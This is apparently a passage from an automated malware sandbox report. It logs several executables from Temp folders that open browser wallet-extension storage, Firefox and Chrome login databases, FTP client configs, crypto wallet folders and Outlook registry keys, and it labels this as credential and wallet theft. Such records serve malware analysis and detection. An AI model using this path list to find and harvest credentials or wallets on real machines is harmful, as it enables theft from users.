                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
                                      Tries to harvest and steal ftp login credentials
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\FTPbox
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\FTPGetter
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\FTPInfo
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeFile opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\ProgramData\SiteDesigner\3D-FTP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\FTPRush
                                      Tries to steal Crypto Currency Wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeFile opened: C:\Users\user\AppData\Roaming\Ledger Live
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeFile opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeFile opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeFile opened: C:\Users\user\AppData\Roaming\Binance
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeFile opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeFile opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Ledger Live
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Binance
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeFile opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeFile opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Ledger Live
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Binance
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Ledger Live
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Binance
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Electrum\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
                                      Tries to steal Mail credentials (via file / registry access)
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeKey opened: HKEY_USERS.DEFAULT\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeKey opened: HKEY_USERS.DEFAULT\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeKey opened: HKEY_USERS.DEFAULT\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeKey opened: HKEY_USERS.DEFAULT\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeKey opened: HKEY_CURRENT_USER_Classes\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeKey opened: HKEY_CURRENT_USER_Classes\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeKey opened: HKEY_CURRENT_USER_Classes\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeKey opened: HKEY_CURRENT_USER_Classes\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeKey opened: HKEY_USERS.DEFAULT\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeKey opened: HKEY_USERS.DEFAULT\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeKey opened: HKEY_USERS.DEFAULT\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeKey opened: HKEY_USERS.DEFAULT\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\MQAWXUYAIK
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents\WUTJSCBCFX
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\QVTVNIBKSD
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\TQDGENUHWP
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\ZSSZYEFYMU
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\VLZDGUKUTZ
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\FACWLRWHGG
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\JSDNGYCOWY
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: C:\Users\user\Documents\KATAXZVCPS
